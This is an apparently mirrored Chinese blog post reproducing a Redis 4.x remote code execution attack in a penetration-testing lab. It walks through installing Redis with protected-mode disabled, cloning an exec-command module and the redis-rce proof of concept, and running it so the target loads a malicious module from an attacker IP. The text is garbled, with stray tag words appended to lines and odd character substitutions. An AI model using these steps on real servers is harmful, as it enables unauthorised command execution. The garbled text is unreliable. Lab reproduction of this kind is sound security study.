本文首發於個人我的博客,記錄了我在實驗室學習滲透測試所作的第二個漏洞復現,所有過程記錄在此,以便後續查看,同時也但願本文能對您有所幫助。python
同時,若文章有什麼錯誤,請到個人我的博客進行覈對,或者請在評論區告知,謝謝!git
Redis是一個高性能的key-value存儲系統,支持多種value類型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客戶端。github
下載Redis包:redis
wget download.redis.io/releases/redis-4.0.11.tar.gz
解壓安裝包shell
tar xzvf redis-4.0.11.tar.gz
當前目錄下會出現一個名爲``redis-4.0.11`的文件夾。bootstrap
make安裝curl
進入文件夾,在usr/local/redis目錄下安裝redis:性能
make PREFIX=/usr/local/redis install
以後命令行刷屏,等待一會後,出現以下提示,安裝結束:
學習
檢查安裝是否有問題測試
安裝命令行提示,輸入:
make test
等待一下子,若出現如下提示,說明測試經過,安裝已完成:
拷貝源碼中的redis.conf到/usr/local/redis中
cp /redis-4.0.11/redis.conf /usr/local/redis
修改redis.conf
進入/usr/local/redis目錄,打開redis.conf,作出如下修改:
bind 127.0.0.1
,並註釋掉protected-mode
屬性爲no
(可經過IP訪問)daemonize
屬性爲yes
(標識redis之後臺方式啓動)服務端啓動服務
進入/usr/local/redis/bin目錄下,執行以下命令:
./redis-server /usr/local/redis/redis.conf
結果以下:
啓動客戶端鏈接並測試
一樣在bin目錄下,執行以下命令:
./redis-cli
結果以下:
攻擊機中須要下載RedisModules-ExecuteCommand和poc。
下載RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
而後進入RedisModules-ExcuteCommand目錄,直接make編譯:
make
下載poc
git clone https://github.com/Ridter/redis-rce.git
複製
將RedisMoudules-ExecuteCommand/src下的modules.so文件複製到poc目錄(redis-rce)下。
安裝須要的庫
我在運行redis.rce.py時,提示我缺乏six
這個庫,須要pip安裝。首先安裝pip:
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
安裝完成後,當前目錄下會出現一個get-pip.py文件,運行後就可使用pip了:
python get-pip.py
而後就能夠安裝須要的庫:
pip install six
運行poc
在redis-rce目錄下,命令行鍵入:
Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so
結果以下: